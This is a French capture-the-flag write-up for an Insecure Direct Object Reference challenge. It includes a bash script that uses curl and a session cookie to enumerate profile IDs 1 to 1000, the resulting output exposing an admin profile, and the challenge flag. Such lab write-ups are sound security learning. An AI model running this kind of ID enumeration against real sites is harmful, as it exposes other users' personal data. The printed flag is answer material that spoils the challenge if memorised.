Insecure Direct Object Reference (IDOR)

Consignes

Aucune pour ce niveau

Réalisation

Sur le site, j'ai l'option de cliquer sur /register ce qui me permet de renseigner un nom de compte. J'observe une fois connecté que l'URL contient mon numéro d'ID : http://ctfdLink.com/profile/494

Je vais donc tester les ID un par un, mais à l'aide d'un script, je ne suis pas fou. Donc voici mon script ìdor_scan.sh :

#!/bin/bash

URL="http://ctfd-0.int.ecole2600.com:47738/profile/"
COOKIE="session=eyJ1c2VyX2lkIjo0OTR9.aBvQQg.j43d6jKzVuVB8ZlTrHNuWBu4LWo"

for id in {1..1000}; do
    echo "[*] Testing ID $id"
    curl -s -b "$COOKIE" "$URL$id" | grep -Ei "Username|Email|Profile|Flag" && echo ">> ID $id found interesting"
done

Ce code test tous les IDs de 1 à 1000 et me renvoit le résultat de chacun d'entre eux. Je peux donc observer parmis les id ne possédant pas de profile ces IDs qui ressortent :

[*] Testing ID 100
                <h2>Profile of john.doe</h2>
>> ID 100 found interesting

[*] Testing ID ...

[*] Testing ID 250
                <h2>Profile of admin</h2>
                <p>Flag: 2600{9ECdeslrxlW5bI11amohHA}</p>
>> ID 250 found interesting

Nous pouvons donc observer ici le FLAG du challenge :

2600{9ECdeslrxlW5bI11amohHA}

Last updated